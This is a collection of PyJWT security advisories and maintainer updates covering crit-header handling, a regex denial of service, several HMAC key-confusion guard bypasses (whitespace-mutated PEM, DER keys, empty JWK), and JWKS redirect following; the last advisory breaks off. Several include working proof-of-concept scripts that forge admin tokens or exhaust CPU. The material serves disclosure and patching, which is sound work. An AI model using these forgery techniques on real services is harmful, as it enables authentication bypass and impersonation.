Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH).

---

RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this specification and/or [JWA] are being used that MUST be understood and processed. [...] If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.

---

Proof of Concept

python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json

Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"}

def b64url(data): return base64.urlsafeb64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}"

Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

python jwcrypto — correctly rejects from jwcrypto import jwt as jwjwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jwjwt.JWT(jwt=token, key=key, algs=["HS256"]) raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

---

Impact

- Split-brain verification in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - Security policy bypass when crit carries enforcement semantics (MFA, token binding, scope restrictions) - Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis

---

Suggested Fix

In jwt/apijwt.py, add validation in validateheaders() or decode():

python SUPPORTEDCRIT = {"b64"} # Add extensions PyJWT actually supports

def validatecrit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self.SUPPORTEDCRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header")

---

CWE

- CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization

References

- RFC 7515 §4.1.11 - CVE-2025-59420 — Authlib crit bypass (CVSS 7.5) - RFC 7800 — Proof-of-Possession Key Semantics

PyJWT is a JSON Web Token implementation in Python. Prior to 2.12.0, PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC. This vulnerability is fixed in 2.12.0.

Summary There is a Re-DoS vulnerability in the ispemformat function which results in a intesive CPU usage if an attacker is been able to provide a custom certificate.

Details The problem is that the lazy quantifier .+? will always first try to match as little as possible until it finds a ---- END. Normally this means the complexity of this should be O(N). However, by providing an input which consists only of ----BEGIN CERTIFICATE----- lines and no ---- END line, the regex algorithm will first try to match the first line and then, with the lazy quantifier, all the lines until the end O(N), which then fails since it is unable to find a ---- END line. It will then jump to the next line, resulting in N re-scans of the whole string, which means the complexity basically results in O(N²).

PoC python import time import re

BEGINLINE = b"-----BEGIN CERTIFICATE-----\n"

PEMS = { b"CERTIFICATE", b"TRUSTED CERTIFICATE", b"PRIVATE KEY", b"PUBLIC KEY", b"ENCRYPTED PRIVATE KEY", b"OPENSSH PRIVATE KEY", b"DSA PRIVATE KEY", b"RSA PRIVATE KEY", b"RSA PUBLIC KEY", b"EC PRIVATE KEY", b"DH PARAMETERS", b"NEW CERTIFICATE REQUEST", b"CERTIFICATE REQUEST", b"SSH2 PUBLIC KEY", b"SSH2 ENCRYPTED PRIVATE KEY", b"X509 CRL", }

PEMRE = re.compile( b"----[- ]BEGIN (" + b"|".join(PEMS) + b""")[- ]----\r? .+?\r? ----[- ]END \\1[- ]----\r?\n?""", re.DOTALL, )

def ispemformat(key: bytes) -> bool: return bool(PEMRE.search(key))

def makepayload(numheaders: int) -> bytes: return BEGINLINE numheaders

def measure(numheaders: int) -> float: payload = makepayload(numheaders) start = time.perfcounter() ispemformat(payload) # returns False, but burns CPU getting there elapsed = time.perfcounter() - start print( f" headers={numheaders:>4} size={len(payload)//1024:>3} KB" f" time={elapsed1000:>7.1f} ms" ) return elapsed

for n in (1000, 2000, 4000, 8000): measure(n)

Impact The attacker could use extensive resources, which could make the resource (e.g. a web server) unavailable.

Maintainer update (2026-09-10): We reproduced the reported quadratic regex behavior on malformed PEM-like input: doubling repeated BEGIN lines produced approximately fourfold runtime growth, while equal-sized ordinary input remained negligible. The affected path is reached when an application passes attacker-controlled key or certificate bytes to PyJWT’s key preparation, and the impact is resource exhaustion. The fix is on master in commit 8b4e233a22206b34ec1186e912e75c0b2396ac07; it replaces the backtracking PEM regex with a bounded marker scan. Fresh Astra/max review accepted the fix and confirmed malformed, mixed-label, and valid-input controls. This is a distinct ReDoS finding from the later PEM-recognition report that shares the implementation commit. The fix has not yet shipped in a released PyJWT 2.x version, so this advisory is being moved to draft and remains unpublished pending release.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

- The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop). - The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's ispemformat regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when ispemformat() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's ispemformat() return False while cryptography.loadpempublickey() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.preparekey is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details At jwt/algorithms.py:331-335, HMACAlgorithm.preparekey contains the sole family-mismatch guard:

if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

If neither predicate fires, :357 returns keybytes unchanged — the PEM text is used directly as the HMAC secret.

ispemformat (jwt/utils.py:116-127) is bool(PEMRE.search(key)), where PEMRE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's loadpempublickey is tolerant of exactly these forms and still returns the key.

Reach: jwt/apijws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to algobj.preparekey(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC Vulnerable path: jwt/algorithms.py:331 (guard gated on ispemformat) -> ispemformat returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm ispemformat now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0 ec canonical (control) ispemformat=True cryptoloads=True forgery=BLOCKED:InvalidKeyError ec marker-adjacent (tab before END) ispemformat=False cryptoloads=True forgery=FORGED(superadmin) ec CR-only terminators ispemformat=False cryptoloads=True forgery=FORGED(superadmin) ec folded single-line ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa canonical (control) ispemformat=True cryptoloads=True forgery=BLOCKED:InvalidKeyError rsa marker-adjacent (tab before END) ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa CR-only terminators ispemformat=False cryptoloads=True forgery=FORGED(superadmin) rsa folded single-line ispemformat=False cryptoloads=True forgery=FORGED(superadmin) [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce: 1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM. 2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one. 3. Confirm jwt.utils.ispemformat(mutated) is False and cryptography.hazmat.primitives.serialization.loadpempublickey(mutated) succeeds. 4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.

Impact Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforceminimumkeylength (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by ispemformat, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

The fix is committed as 8b4e233a22206b34ec1186e912e75c0b2396ac07. PyJWT now scans supported PEM BEGIN/END markers in one pass, preserving matching labels and handling overlapping markers without regex backtracking. Regression coverage includes RSA loader-accepted mutations, incomplete repeated markers, later valid PEM blocks, and overlapping END/BEGIN markers. The fix does not broaden DER-key classification or change the caller's algorithm allow-list policy.

Verification on the signed commit passes with 400 tests and 4 intentional cryptography-environment skips; Ruff formatting/lint and the Python 3.9 mypy tox target pass. Fresh Astra/max independent review accepted the final snapshot and confirmed O(n) scanning, bounded storage, and no blocking compatibility or security finding. The fix has not been released; the advisory remains Critical with CVSS 3.1 score 9.1 and CWE-347.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, ispemformat in jwt/utils.py is affected because ispemformat does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.preparekey treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT ispemformat is affected because lazy PEM regular expression backtracks extensively. This occurs when a certificate-like input contains repeated BEGIN markers without a matching END marker. As a result, ispemformat performs unbounded backtracking while searching for a PEM end marker. Consequently, an attacker can cause intensive CPU consumption. This issue is fixed in version 2.14.0.

Summary

HMACAlgorithm.preparekey blocks asymmetric keys from being used as HMAC secrets by searching for text markers only. It looks for -----BEGIN and for an ssh- prefix. The same key in DER form is binary ASN.1 and has neither marker, so it passes the check and is used as an HMAC secret.

An application that verifies tokens with an RSA or EC public key, and also allows HS256 with that same key, can be given a forged token. The attacker signs it with the public key, which is public. This is the key confusion problem CVE-2022-29217 was filed for, reachable again through a different encoding.

The reach is smaller than the original CVE. The application must already be in that misconfiguration, and it must hold its public key as DER bytes rather than PEM.

Details

The guard is at jwt/algorithms.py:331:

python if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

Both helpers are text matchers. Neither one parses the key.

- jwt/utils.py:126, ispemformat, runs a regex for ----[- ]BEGIN ...----. - jwt/utils.py:141, issshkey, checks startswith against a list of ssh- and ecdsa-sha2- prefixes.

A DER encoded public key starts with the bytes 0x30 0x82. It matches neither, so preparekey returns it unchanged and it becomes the HMAC secret.

There is no DER handling anywhere in the package. grep -rni "\bDER\b|loadder" jwt/ tests/ returns nothing.

This affects three encodings that are all blocked in their PEM form today:

- DER SubjectPublicKeyInfo - DER PKCS#1 - DER encoded X.509 certificate

History of this guard:

- Added in 2.4.0 for CVE-2022-29217 and GHSA-ffqj-6fqr-9h24, covering PEM and SSH. - Extended in 2.13.0 for GHSA-xgmm-8j9v-c9wx, covering JWK JSON documents. - DER has never been covered.

Applications that use PyJWK or PyJWKClient are not affected. jwt/apijws.py:395 binds the header alg to the key's own algorithm, so HS256 never reaches HMACAlgorithm.preparekey on that path.

Suggested fix: try to parse the bytes as a key and reject if parsing works. For example loadderpublickey, loadderprivatekey and loadderx509certificate in a try/except chain, next to the checks already there. A random HMAC secret will not parse as valid DER, so real secrets should not be rejected.

PoC

Tested on 2.4.0, on 2.13.0, and on main at commit 7144e4534. All three behave the same. The guard has been marker based since 2.4.0, so the versions in between are very likely affected as well.

console pip install "pyjwt==2.13.0" cryptography python poc.py

No special configuration is needed. The script builds its own key.

python import base64 import hashlib import hmac import json

import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat

pub = rsa.generateprivatekey(publicexponent=65537, keysize=2048).publickey() pem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo) der = pub.publicbytes(Encoding.DER, PublicFormat.SubjectPublicKeyInfo) derpkcs1 = pub.publicbytes(Encoding.DER, PublicFormat.PKCS1)

def b64(raw): return base64.urlsafeb64encode(raw).rstrip(b"=")

def forge(secret): # The attacker does not use PyJWT. They only need the public key bytes. head = b64(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) body = b64(json.dumps({"user": "admin", "role": "admin"}).encode()) signinginput = head + b"." + body sig = hmac.new(secret, signinginput, hashlib.sha256).digest() return (signinginput + b"." + b64(sig)).decode()

PEM form is rejected, as expected since CVE-2022-29217. try: jwt.decode(forge(pem), pem, algorithms=["RS256", "HS256"]) except jwt.exceptions.InvalidKeyError as exc: print("PEM rejected:", exc)

Same key, DER form. The forged token verifies. print("DER SPKI accepted:", jwt.decode(forge(der), der, algorithms=["RS256", "HS256"])) print("DER PKCS#1 accepted:", jwt.decode(forge(derpkcs1), derpkcs1, algorithms=["RS256", "HS256"]))

Output:

PEM rejected: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC s DER SPKI accepted: {'user': 'admin', 'role': 'admin'} DER PKCS#1 accepted: {'user': 'admin', 'role': 'admin'}

The token is signed with plain hmac, so this exercises the verify path only. The PEM and the DER values come from the same key object, so the encoding is the only thing that changes.

We also have a regression test written in your pytest style. It uses your own tests/keys fixtures, covers the DER certificate case too, and fails on current main. Glad to send it or open a PR.

Impact

Key confusion, CWE-347, improper verification of a cryptographic signature. Same class as CVE-2022-29217.

Who is affected: applications that verify tokens with an asymmetric public key, also list an HS\ algorithm pass that public key to jwt.decode as DER bytes.

What an attacker gets: they can mint tokens with any claims they want, so they can log in as any user. They is public, and they re-encode it to DER. Nothing secret has to be stolen first.

What limits it: the application must already be in the mixed HS\ and RS\ misconfiguration. It must also hoEM is the more common form and is still blocked. Users of PyJWK and PyJWKClient are not affected.

Maintainer update (2026-09-10): We reproduced the issue for DER SubjectPublicKeyInfo, RSA PKCS#1 public-key DER, and DER X.509 certificate inputs when a caller mixes HS and an asymmetric algorithm and passes the public material as raw bytes. The fix is on master in commit 2798504fa2663364573cf2d1043d8d7fef389499; HMACAlgorithm.preparekey now rejects DER public keys and certificates when cryptography is available, while arbitrary binary HMAC secrets remain accepted. Verification included the DER regression/control tests, full python -m tox (available environments passed; unavailable interpreters were skipped), Ruff, mypy, packaging, and coverage. The fix has not yet shipped in a release, so this advisory is being moved from triage to draft and will remain unpublished until a supported 2.x release contains the fix. Private-key container formats are outside this fix scope.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Summary

PyJWT 2.13.0 PyJWKClient followed HTTP redirects while fetching a JWKS, without validating the redirect destination. A configured trusted endpoint could therefore redirect the client to a different host.

Impact

When an application uses PyJWKClient with caller-supplied request headers and an attacker can influence the configured endpoint's response, the redirected request could expose those headers and the redirected response could be used as authoritative key material. This could cause JWKS trust poisoning and, in affected mixed-configuration applications, forged JWT acceptance. The issue requires an attacker-influenced redirect from the configured JWKS endpoint; it is not triggered by a token kid alone.

Affected versions

PyJWT <= 2.13.0.

Fix

The issue is fixed on master in commit 0a795b8e1f6ef08f634aa7086fc41cc6d5ce3e56. PyJWKClient now disables automatic redirects for JWKS fetches. Regression tests verify that a redirect is rejected without contacting its destination, while normal fetches, headers, caching, errors, timeouts, and SSL context remain covered.

The fix is present in the unreleased development branch. The patched version will be recorded after a released PyJWT 2.x version containing the fix is confirmed.

Credit

Credit: the original reporter of GHSA-9v7f-9g4p-ffgj. Additional redirect header-leak and cache-poisoning evidence from the newer duplicate report GHSA-43g3-98cx-x446 is preserved in the duplicate record and informed this canonical advisory update.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.preparekey is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.

Summary

A service that verifies HS256 tokens using an empty oct JWK through PyJWK, including a PyJWK obtained from PyJWKSet, can therefore accept attacker-generated tokens as authenticated.

PyJWT 2.13.0 rejects an empty HMAC key when it is supplied through the raw str/bytes key path, but accepts the same zero-length key when it is supplied as a symmetric PyJWK.

An oct JWK containing an empty Base64URL key value:

json {"kty":"oct","k":""}

is decoded to b"". During signature verification, the PyJWK path uses this decoded value directly and does not invoke the empty-key validation in HMACAlgorithm.preparekey. With the default enforceminimumkeylength=False, PyJWT emits a warning and proceeds with HMAC verification using the zero-length key.

An attacker can independently calculate HMAC-SHA256(b"", signinginput) and create valid HS256 JWTs with arbitrary claims. A service that verifies HS256 tokens using an empty oct JWK through PyJWK or PyJWKSet can therefore accept attacker-generated tokens as authenticated.

The application must already contain an empty HMAC JWK, for example because a missing Base64URL configuration or secret-manager value was serialized as "k": "". The attacker does not need control of the JWK/JWKS source, a signing oracle, a private key, or a mixed algorithm allow-list.

Details

The vulnerability is caused by inconsistent validation of the same HMAC key material depending on whether it enters PyJWT as a raw key or through PyJWK.

Raw empty HMAC keys are rejected

[HMACAlgorithm.preparekey](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L325-L357) rejects an empty HMAC key.

As a result, an empty raw key is rejected in PyJWT 2.13.0:

python jwt.decode(token, b"", algorithms=["HS256"])

with InvalidKeyError.

Empty oct JWKs decode to the same key but are accepted

[HMACAlgorithm.fromjwk](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/algorithms.py#L379-L394) handles symmetric JWKs.

For:

json { "kty": "oct", "k": "" }

the empty Base64URL value is decoded to:

python b""

and returned without an emptiness check.

[PyJWK.init](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijwk.py#L73-L82) then stores the decoded value in self.key.

The resulting PyJWK therefore contains the same zero-length byte string rejected by the raw-key path.

PyJWK verification bypasses the raw-key validation

[PyJWS.verifysignature](https://github.com/jpadilla/pyjwt/blob/7144e4534c34810f4525dc4578a32addd8212cff/jwt/apijws.py#L389-L416) has a separate path for PyJWK objects.

When a PyJWK is supplied, verification uses its already-decoded key directly:

python preparedkey = key.key

The value is not passed through:

python algobj.preparekey(key.key)

so the empty-key check in HMACAlgorithm.preparekey is never reached.

The minimum HMAC key-length check does not reject the key under the default configuration. With enforceminimumkeylength=False, PyJWT emits a warning and continues signature verification.

The verifier therefore receives:

python b""

as the HS256 key.

This creates the following difference for identical cryptographic key material:

text raw b"" -> HMACAlgorithm.preparekey -> InvalidKeyError

{"kty":"oct","k":""} -> HMACAlgorithm.fromjwk -> b"" -> PyJWK.key -> PyJWS.verifysignature -> HMAC verification with b"" -> accepted

Because the HMAC key is the known zero-length byte string, an attacker can calculate the correct HS256 signature for arbitrary JWT signing input without knowing an application secret.

This is not the raw-JWK HMAC-confusion issue addressed by CVE-2026-48526. That issue involves raw public JWK material and mixed asymmetric/HMAC algorithm families. This issue uses an oct symmetric JWK, HS256 only, and the PyJWK verification path. No asymmetric key, mixed algorithm allow-list, or attacker-controlled key-discovery mechanism is required.

The issue was reproduced against PyJWT 2.13.0 and commit:

text 7144e4534c34810f4525dc4578a32addd8212cff

which was the tip of the public master branch at the time of testing.

PoC

The following PoC reproduces the issue on PyJWT 2.13.0.

It models an application with a static JWK Set containing an empty symmetric HMAC key. The attacker does not control the JWK Set.

Install PyJWT 2.13.0:

bash python -m venv venv source venv/bin/activate pip install "PyJWT==2.13.0"

Save the following as poc.py:

python import base64 import hashlib import hmac import json import time import warnings

import jwt from jwt import PyJWKSet from jwt.exceptions import InvalidKeyError, InvalidSignatureError

def b64u(value: bytes) -> bytes: return base64.urlsafeb64encode(value).rstrip(b"=")

now = int(time.time()) header = b64u(json.dumps({"alg": "HS256", "kid": "active"}, separators=(",", ":")).encode()) payload = b64u( json.dumps( {"sub": "attacker", "admin": True, "iat": now, "exp": now + 300}, separators=(",", ":"), ).encode() ) signinginput = header + b"." + payload forged = ( signinginput + b"." + b64u(hmac.new(b"", signinginput, hashlib.sha256).digest()) ).decode()

jwk = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "", "kid": "active", "alg": "HS256", "use": "sig", } ] } )["active"]

with warnings.catchwarnings(): warnings.simplefilter("ignore") claims = jwt.decode( forged, jwk, algorithms=["HS256"], options={"require": ["exp"]}, )

assert claims["sub"] == "attacker" assert claims["admin"] is True print("VULNERABLE:", claims)

try: jwt.decode(forged, b"", algorithms=["HS256"]) except InvalidKeyError: print("CONTROL raw empty key: rejected") else: raise AssertionError("raw empty key was accepted")

try: jwt.decode( forged, jwk, algorithms=["HS256"], options={"enforceminimumkeylength": True}, ) except InvalidKeyError: print("CONTROL strict PyJWK: rejected") else: raise AssertionError("strict PyJWK was accepted")

realkey = PyJWKSet.fromdict( { "keys": [ { "kty": "oct", "k": "cmVhbC1zZWNyZXQ", "kid": "active", "alg": "HS256", } ] } )["active"]

try: with warnings.catchwarnings(): warnings.simplefilter("ignore") jwt.decode(forged, realkey, algorithms=["HS256"]) except InvalidSignatureError: print("CONTROL non-empty PyJWK: rejected") else: raise AssertionError("non-empty PyJWK accepted an empty-key forgery")

Run:

bash python poc.py

Observed output:

text VULNERABLE: {'sub': 'attacker', 'admin': True, 'iat': <now>, 'exp': <now+300>} CONTROL raw empty key: rejected CONTROL strict PyJWK: rejected CONTROL non-empty PyJWK: rejected

The first result demonstrates that a JWT signed with the known zero-length HMAC key is accepted when the verification key is supplied through PyJWK.

The first control supplies the same key material directly as b"". PyJWT 2.13.0 rejects it with InvalidKeyError.

The second control enables enforceminimumkeylength, which also rejects the empty PyJWK.

The third control changes only the JWK key material to a non-empty value. The same forged token then fails with InvalidSignatureError.

I also reproduced the result through the following verification paths:

python jwt.decode(token, PyJWK, algorithms=["HS256"]) jwt.decode(token, PyJWK) jwt.PyJWT().decode(token, PyJWK, algorithms=["HS256"]) PyJWS().decode(token, PyJWK, algorithms=["HS256"])

All accepted an HS256 token whose signature was generated using the zero-length HMAC key.

As an execution-path check, after constructing the PyJWK, I replaced HMACAlgorithm.preparekey with a function that immediately raises. Verification using the PyJWK still accepted the forged token, while the raw-key path reached preparekey and rejected the empty key.

Impact

This is an authentication bypass caused by inconsistent validation of empty HMAC keys.

Affected applications are services that verify HS256 JWTs using PyJWK, PyJWKSet, or another path that produces a PyJWK, where the configured oct JWK contains an empty HMAC key and minimum key-length enforcement is not enabled.

For example, an application could and produces:

json { "kty": "oct", "k": "", "kid": "active", "alg": "HS256" }

when the expected Base64URL secret value is missing.

Once this condition exists, an unauthenticated remote attacker can generate arbitrary HS256 JWTs offline. The attacker knows the effective verification key is b"" and can therefore calculate a valid HMAC for any signing input.

The attacker can choose arbitrary claims such as:

json { "sub": "attacker", "admin": true, "exp": 1787100000 }

and produce a signature that PyJWT accepts as valid.

Depending on how JWT claims are used by the application, successful exploitation can result in authentication bypass, user impersonation, privilege escalation, or unauthorized access to protected resources.

Validation of claims such as exp, aud, iss, or sub does not prevent exploitation when the attacker knows the effective signing key, because the attacker can include the values expected by the application before calculating the signature.

The attacker cannot create the empty JWK through this issue; the application must already be using an empty symmetric JWK. No credentials, user interaction, signing oracle, private key, attacker-controlled JWKS endpoint, or mixed algorithm configuration are required once that condition exists.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Maintainer update — 2026-09-09

We reproduced the reported discrepancy on PyJWT 2.13.0: an empty oct JWK supplied through PyJWK reached HS256 verification as b"", while the equivalent raw empty key was rejected by HMACAlgorithm.preparekey(). The condition requires an application to already load an empty symmetric JWK, but does not require a mixed algorithm allow-list or attacker-controlled JWK source.

This is in scope under the PyJWT security policy because the same decoded HMAC key material receives inconsistent validation across PyJWT's public verification paths.

The fix is committed as f91ed44dd65baaf457f4b3353ed35e98a753934c. PyJWK verification now routes the decoded key through the selected algorithm's preparekey() validation before checking its minimum key length, keeping PyJWK and raw-key behavior consistent. Regression coverage proves that an authentic HS256 token signed with an empty key is rejected through PyJWK; existing JWS behavior remains covered.

The full suite passes with 392 tests and 4 intentional cryptography-environment skips; the JWS module passes 92 tests with 1 intentional skip. Fresh Astra/max independent review accepted the staged snapshot and verified HMAC, RSA/PSS, EC, and EdDSA compatibility, algorithm binding, warning behavior, minimum-length enforcement, and disabled verification.

The fix has not been released. The advisory remains High with CVSS metadata currently unset, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with the release recorded as the patched version.

Affected Package

- Package: PyJWT (pyjwt on PyPI) - Repository: https://www.google.com/url?q=https://github.com/jpadilla/pyjwt&source=gmail&ust=1781794518474000&sa=E - Affected version: 2.13.0 - Vulnerability class: Algorithm confusion / patch bypass

---

Root Cause

PyJWT 2.13.0 introduced a guard in HMACAlgorithm.preparekey() (file jwt/algorithms.py, approximately line 344) to prevent RSA public key material from being used as an HMAC secret — the root cause of CVE-2026-48526.

The guard uses bytes.lstrip() before calling startswith(b"{"):

python stripped = keybytes.lstrip() # strips ASCII whitespace only if stripped.startswith(b"{"): # JWK detection ... raise InvalidKeyError("The specified key is an asymmetric key...")

bytes.lstrip() with no argument removes only bytes in the ASCII whitespace set (\x20 \t \n \r \x0b \x0c). A UTF-8 BOM prefix (\xef\xbb\xbf) is not stripped, so stripped.startswith(b"{") returns False for any BOM-prefixed JWK JSON. The JWK detection block is never entered, and the RSA public key bytes are silently accepted as the HMAC-SHA256 secret.

---

PoC Sketch (pseudocode — not a weaponized payload)

